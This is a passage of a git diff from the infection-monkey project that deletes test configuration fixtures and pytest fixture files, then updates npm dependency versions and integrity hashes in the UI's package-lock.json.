- "password_hash": "9ece086e9bac491fac5c1d1046ca11d737b92a2b2ebd93f005d7b710110c0a678288166e7fbe796883a"
- "4f2e9b3ca9f484f521d0ce464345cc1aec96779149c14"
-}
-
-CONFIG_NO_CREDENTIALS = {
- "server_config": "password",
- "deployment": "develop"
-}
-
-CONFIG_PARTIAL_CREDENTIALS = {
- "server_config": "password",
- "deployment": "develop",
- "user": "test"
-}
-
-CONFIG_BOGUS_VALUES = {
- "server_config": "password",
- "deployment": "develop",
- "user": "test",
- "aws": "test",
- "test": "test",
- "test2": "test2"
-}
-
-CONFIG_STANDARD_ENV = {
- "server_config": "standard",
- "deployment": "develop"
-}
-
-CONFIG_STANDARD_WITH_CREDENTIALS = {
- "server_config": "standard",
- "deployment": "develop",
- "user": "test",
- "password_hash": "9ece086e9bac491fac5c1d1046ca11d737b92a2b2ebd93f005d7b710110c0a678288166e7fbe796883a"
- "4f2e9b3ca9f484f521d0ce464345cc1aec96779149c14"
-}
diff --git a/monkey/monkey_island/cc/test_common/fixtures/__init__.py b/monkey/monkey_island/cc/test_common/fixtures/__init__.py
deleted file mode 100644
index fd208655a..000000000
--- a/monkey/monkey_island/cc/test_common/fixtures/__init__.py
+++ /dev/null
@@ -1,4 +0,0 @@
-# Without these imports pytests can't use fixtures,
-# because they are not found
-from .fixture_enum import FixtureEnum # noqa: F401
-from .mongomock_fixtures import * # noqa: F401,F403
diff --git a/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py b/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py
deleted file mode 100644
index 17c115079..000000000
--- a/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py
+++ /dev/null
@@ -1,2 +0,0 @@
-class FixtureEnum:
- USES_DATABASE = 'uses_database'
diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json
index a805a7ba2..5d197d078 100644
--- a/monkey/monkey_island/cc/ui/package-lock.json
+++ b/monkey/monkey_island/cc/ui/package-lock.json
@@ -1,6 +1,6 @@
{
"name": "infection-monkey",
- "version": "1.9.0",
+ "version": "1.11.0",
"lockfileVersion": 1,
"requires": true,
"dependencies": {
@@ -8,32 +8,143 @@
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/@arcanis/slice-ansi/-/slice-ansi-1.0.2.tgz",
"integrity": "sha512-lDL63z0W/L/WTgqrwVOuNyMAsTv+pvjybd21z9SWdStmQoXT59E/iVWwat3gYjcdTNBf6oHAMoyFm8dtjpXEYw==",
+ "dev": true,
"requires": {
"grapheme-splitter": "^1.0.4"
}
},
"@babel/cli": {
- "version": "7.8.4",
- "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.8.4.tgz",
- "integrity": "sha512-XXLgAm6LBbaNxaGhMAznXXaxtCWfuv6PIDJ9Alsy9JYTOh+j2jJz+L/162kkfU1j/pTSxK1xGmlwI4pdIMkoag==",
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.13.14.tgz",
+ "integrity": "sha512-zmEFV8WBRsW+mPQumO1/4b34QNALBVReaiHJOkxhUsdo/AvYM62c+SKSuLi2aZ42t3ocK6OI0uwUXRvrIbREZw==",
"dev": true,
"requires": {
- "chokidar": "^2.1.8",
+ "@nicolo-ribaudo/chokidar-2": "2.1.8-no-fsevents",
+ "chokidar": "^3.4.0",
"commander": "^4.0.1",
"convert-source-map": "^1.1.0",
"fs-readdir-recursive": "^1.1.0",
"glob": "^7.0.0",
- "lodash": "^4.17.13",
+ "lodash": "^4.17.19",
"make-dir": "^2.1.0",
"slash": "^2.0.0",
"source-map": "^0.5.0"
},
"dependencies": {
+ "anymatch": {
+ "version": "3.1.2",
+ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz",
+ "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==",
+ "dev": true,
+ "optional": true,
+ "requires": {
+ "normalize-path": "^3.0.0",
+ "picomatch": "^2.0.4"
+ }
+ },
+ "binary-extensions": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
+ "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==",
+ "dev": true,
+ "optional": true
+ },
+ "braces": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+ "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
+ "optional": true,
+ "requires": {
+ "fill-range": "^7.0.1"
+ }
+ },
+ "chokidar": {
+ "version": "3.5.1",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.1.tgz",
+ "integrity": "sha512-9+s+Od+W0VJJzawDma/gvBNQqkTiqYTWLuZoyAsivsI4AaWTCzHG06/TMjsf1cYe9Cb97UCEhjz7HvnPk2p/tw==",
+ "dev": true,
+ "optional": true,
+ "requires": {
+ "anymatch": "~3.1.1",
+ "braces": "~3.0.2",
+ "fsevents": "~2.3.1",
+ "glob-parent": "~5.1.0",
+ "is-binary-path": "~2.1.0",
+ "is-glob": "~4.0.1",
+ "normalize-path": "~3.0.0",
+ "readdirp": "~3.5.0"
+ }
+ },
"commander": {
"version": "4.1.1",
"resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz",
"integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==",
"dev": true
+ },
+ "fill-range": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+ "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
+ "optional": true,
+ "requires": {
+ "to-regex-range": "^5.0.1"
+ }
+ },
+ "fsevents": {
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+ "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+ "dev": true,
+ "optional": true
+ },
+ "glob-parent": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+ "dev": true,
+ "optional": true,
+ "requires": {
+ "is-glob": "^4.0.1"
+ }
+ },
+ "is-binary-path": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
+ "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
+ "dev": true,
+ "optional": true,
+ "requires": {
+ "binary-extensions": "^2.0.0"
+ }
+ },
+ "is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true,
+ "optional": true
+ },
+ "readdirp": {
+ "version": "3.5.0",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.5.0.tgz",
+ "integrity": "sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ==",
+ "dev": true,
+ "optional": true,
+ "requires": {
+ "picomatch": "^2.2.1"
+ }
+ },
+ "to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
+ "optional": true,
+ "requires": {
+ "is-number": "^7.0.0"
+ }
}
}
},
@@ -46,53 +157,157 @@
}
},
"@babel/compat-data": {
- "version": "7.9.6",
- "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.9.6.tgz",
- "integrity": "sha512-5QPTrNen2bm7RBc7dsOmcA5hbrS4O2Vhmk5XOL4zWW/zD/hV0iinpefDlkm+tBBy8kDtFaaeEvmAqt+nURAV2g==",
- "dev": true,
- "requires": {
- "browserslist": "^4.11.1",
- "invariant": "^2.2.4",
- "semver": "^5.5.0"
- }
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.13.15.tgz",
+ "integrity": "sha512-ltnibHKR1VnrU4ymHyQ/CXtNXI6yZC0oJThyW78Hft8XndANwi+9H+UIklBDraIjFEJzw8wmcM427oDd9KS5wA==",
+ "dev": true
},
"@babel/core": {
- "version": "7.9.6",
- "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.9.6.tgz",
- "integrity": "sha512-nD3deLvbsApbHAHttzIssYqgb883yU/d9roe4RZymBCDaZryMJDbptVpEpeQuRh4BJ+SYI8le9YGxKvFEvl1Wg==",
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.13.15.tgz",
+ "integrity": "sha512-6GXmNYeNjS2Uz+uls5jalOemgIhnTMeaXo+yBUA72kC2uX/8VW6XyhVIo2L8/q0goKQA3EVKx0KOQpVKSeWadQ==",
"dev": true,
"requires": {
- "@babel/code-frame": "^7.8.3",
- "@babel/generator": "^7.9.6",
- "@babel/helper-module-transforms": "^7.9.0",
- "@babel/helpers": "^7.9.6",
- "@babel/parser": "^7.9.6",
- "@babel/template": "^7.8.6",
- "@babel/traverse": "^7.9.6",
- "@babel/types": "^7.9.6",
+ "@babel/code-frame": "^7.12.13",
+ "@babel/generator": "^7.13.9",
+ "@babel/helper-compilation-targets": "^7.13.13",
+ "@babel/helper-module-transforms": "^7.13.14",
+ "@babel/helpers": "^7.13.10",
+ "@babel/parser": "^7.13.15",
+ "@babel/template": "^7.12.13",
+ "@babel/traverse": "^7.13.15",
+ "@babel/types": "^7.13.14",
"convert-source-map": "^1.7.0",
"debug": "^4.1.0",
- "gensync": "^1.0.0-beta.1",
+ "gensync": "^1.0.0-beta.2",
"json5": "^2.1.2",
- "lodash": "^4.17.13",
- "resolve": "^1.3.2",
- "semver": "^5.4.1",
+ "semver": "^6.3.0",
"source-map": "^0.5.0"
},
"dependencies": {
- "debug": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
- "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
+ "@babel/code-frame": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz",
+ "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==",
"dev": true,
"requires": {
- "ms": "^2.1.1"
+ "@babel/highlight": "^7.12.13"
+ }
+ },
+ "@babel/generator": {
+ "version": "7.13.9",
+ "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz",
+ "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.13.0",
+ "jsesc": "^2.5.1",
+ "source-map": "^0.5.0"
+ }
+ },
+ "@babel/helper-function-name": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz",
+ "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-get-function-arity": "^7.12.13",
+ "@babel/template": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-get-function-arity": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz",
+ "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-split-export-declaration": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz",
+ "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ },
+ "@babel/highlight": {
+ "version": "7.13.10",
+ "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz",
+ "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "chalk": "^2.0.0",
+ "js-tokens": "^4.0.0"
+ }
+ },
+ "@babel/parser": {
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz",
+ "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==",
+ "dev": true
+ },
+ "@babel/template": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz",
+ "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==",
+ "dev": true,
+ "requires": {
+ "@babel/code-frame": "^7.12.13",
+ "@babel/parser": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/traverse": {
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz",
+ "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==",
+ "dev": true,
+ "requires": {
+ "@babel/code-frame": "^7.12.13",
+ "@babel/generator": "^7.13.9",
+ "@babel/helper-function-name": "^7.12.13",
+ "@babel/helper-split-export-declaration": "^7.12.13",
+ "@babel/parser": "^7.13.15",
+ "@babel/types": "^7.13.14",
+ "debug": "^4.1.0",
+ "globals": "^11.1.0"
+ }
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ },
+ "debug": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
+ "requires": {
+ "ms": "2.1.2"
}
},
"json5": {
- "version": "2.1.3",
- "resolved": "https://registry.npmjs.org/json5/-/json5-2.1.3.tgz",
- "integrity": "sha512-KXPvOm8K9IJKFM0bmdn8QXh7udDh1g/giieX0NLCaMnb4hEiVFqnop2ImTXCc5e0/oHz3LTqmHGtExn5hfMkOA==",
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz",
+ "integrity": "sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA==",
"dev": true,
"requires": {
"minimist": "^1.2.5"
@@ -103,6 +318,12 @@
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
"integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
"dev": true
+ },
+ "semver": {
+ "version": "6.3.0",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+ "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
+ "dev": true
}
}
},
@@ -119,102 +340,365 @@
}
},
"@babel/helper-annotate-as-pure": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.8.3.tgz",
- "integrity": "sha512-6o+mJrZBxOoEX77Ezv9zwW7WV8DdluouRKNY/IR5u/YTMuKHgugHOzYWlYvYLpLA9nPsQCAAASpCIbjI9Mv+Uw==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.12.13.tgz",
+ "integrity": "sha512-7YXfX5wQ5aYM/BOlbSccHDbuXXFPxeoUmfWtz8le2yTkTZc+BxsiEnENFoi2SlmA8ewDkG2LgIMIVzzn2h8kfw==",
"dev": true,
"requires": {
- "@babel/types": "^7.8.3"
+ "@babel/types": "^7.12.13"
+ },
+ "dependencies": {
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ }
}
},
"@babel/helper-builder-binary-assignment-operator-visitor": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.8.3.tgz",
- "integrity": "sha512-5eFOm2SyFPK4Rh3XMMRDjN7lBH0orh3ss0g3rTYZnBQ+r6YPj7lgDyCvPphynHvUrobJmeMignBr6Acw9mAPlw==",
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.12.13.tgz",
+ "integrity": "sha512-CZOv9tGphhDRlVjVkAgm8Nhklm9RzSmWpX2my+t7Ua/KT616pEzXsQCjinzvkRvHWJ9itO4f296efroX23XCMA==",
"dev": true,
"requires": {
- "@babel/helper-explode-assignable-expression": "^7.8.3",
- "@babel/types": "^7.8.3"
- }
- },
- "@babel/helper-builder-react-jsx": {
- "version": "7.9.0",
- "resolved": "https://registry.npmjs.org/@babel/helper-builder-react-jsx/-/helper-builder-react-jsx-7.9.0.tgz",
- "integrity": "sha512-weiIo4gaoGgnhff54GQ3P5wsUQmnSwpkvU0r6ZHq6TzoSzKy4JxHEgnxNytaKbov2a9z/CVNyzliuCOUPEX3Jw==",
- "dev": true,
- "requires": {
- "@babel/helper-annotate-as-pure": "^7.8.3",
- "@babel/types": "^7.9.0"
- }
- },
- "@babel/helper-builder-react-jsx-experimental": {
- "version": "7.9.5",
- "resolved": "https://registry.npmjs.org/@babel/helper-builder-react-jsx-experimental/-/helper-builder-react-jsx-experimental-7.9.5.tgz",
- "integrity": "sha512-HAagjAC93tk748jcXpZ7oYRZH485RCq/+yEv9SIWezHRPv9moZArTnkUNciUNzvwHUABmiWKlcxJvMcu59UwTg==",
- "dev": true,
- "requires": {
- "@babel/helper-annotate-as-pure": "^7.8.3",
- "@babel/helper-module-imports": "^7.8.3",
- "@babel/types": "^7.9.5"
+ "@babel/helper-explode-assignable-expression": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ },
+ "dependencies": {
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ }
}
},
"@babel/helper-compilation-targets": {
- "version": "7.9.6",
- "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.9.6.tgz",
- "integrity": "sha512-x2Nvu0igO0ejXzx09B/1fGBxY9NXQlBW2kZsSxCJft+KHN8t9XWzIvFxtPHnBOAXpVsdxZKZFbRUC8TsNKajMw==",
+ "version": "7.13.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.13.13.tgz",
+ "integrity": "sha512-q1kcdHNZehBwD9jYPh3WyXcsFERi39X4I59I3NadciWtNDyZ6x+GboOxncFK0kXlKIv6BJm5acncehXWUjWQMQ==",
"dev": true,
"requires": {
- "@babel/compat-data": "^7.9.6",
- "browserslist": "^4.11.1",
- "invariant": "^2.2.4",
- "levenary": "^1.1.1",
- "semver": "^5.5.0"
+ "@babel/compat-data": "^7.13.12",
+ "@babel/helper-validator-option": "^7.12.17",
+ "browserslist": "^4.14.5",
+ "semver": "^6.3.0"
+ },
+ "dependencies": {
+ "semver": {
+ "version": "6.3.0",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+ "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
+ "dev": true
+ }
}
},
"@babel/helper-create-class-features-plugin": {
- "version": "7.9.6",
- "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.9.6.tgz",
- "integrity": "sha512-6N9IeuyHvMBRyjNYOMJHrhwtu4WJMrYf8hVbEHD3pbbbmNOk1kmXSQs7bA4dYDUaIx4ZEzdnvo6NwC3WHd/Qow==",
+ "version": "7.13.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.13.11.tgz",
+ "integrity": "sha512-ays0I7XYq9xbjCSvT+EvysLgfc3tOkwCULHjrnscGT3A9qD4sk3wXnJ3of0MAWsWGjdinFvajHU2smYuqXKMrw==",
"dev": true,
"requires": {
- "@babel/helper-function-name": "^7.9.5",
- "@babel/helper-member-expression-to-functions": "^7.8.3",
- "@babel/helper-optimise-call-expression": "^7.8.3",
- "@babel/helper-plugin-utils": "^7.8.3",
- "@babel/helper-replace-supers": "^7.9.6",
- "@babel/helper-split-export-declaration": "^7.8.3"
+ "@babel/helper-function-name": "^7.12.13",
+ "@babel/helper-member-expression-to-functions": "^7.13.0",
+ "@babel/helper-optimise-call-expression": "^7.12.13",
+ "@babel/helper-replace-supers": "^7.13.0",
+ "@babel/helper-split-export-declaration": "^7.12.13"
+ },
+ "dependencies": {
+ "@babel/code-frame": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz",
+ "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==",
+ "dev": true,
+ "requires": {
+ "@babel/highlight": "^7.12.13"
+ }
+ },
+ "@babel/helper-function-name": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz",
+ "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-get-function-arity": "^7.12.13",
+ "@babel/template": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-get-function-arity": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz",
+ "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-split-export-declaration": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz",
+ "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ },
+ "@babel/highlight": {
+ "version": "7.13.10",
+ "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz",
+ "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "chalk": "^2.0.0",
+ "js-tokens": "^4.0.0"
+ }
+ },
+ "@babel/parser": {
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz",
+ "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==",
+ "dev": true
+ },
+ "@babel/template": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz",
+ "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==",
+ "dev": true,
+ "requires": {
+ "@babel/code-frame": "^7.12.13",
+ "@babel/parser": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
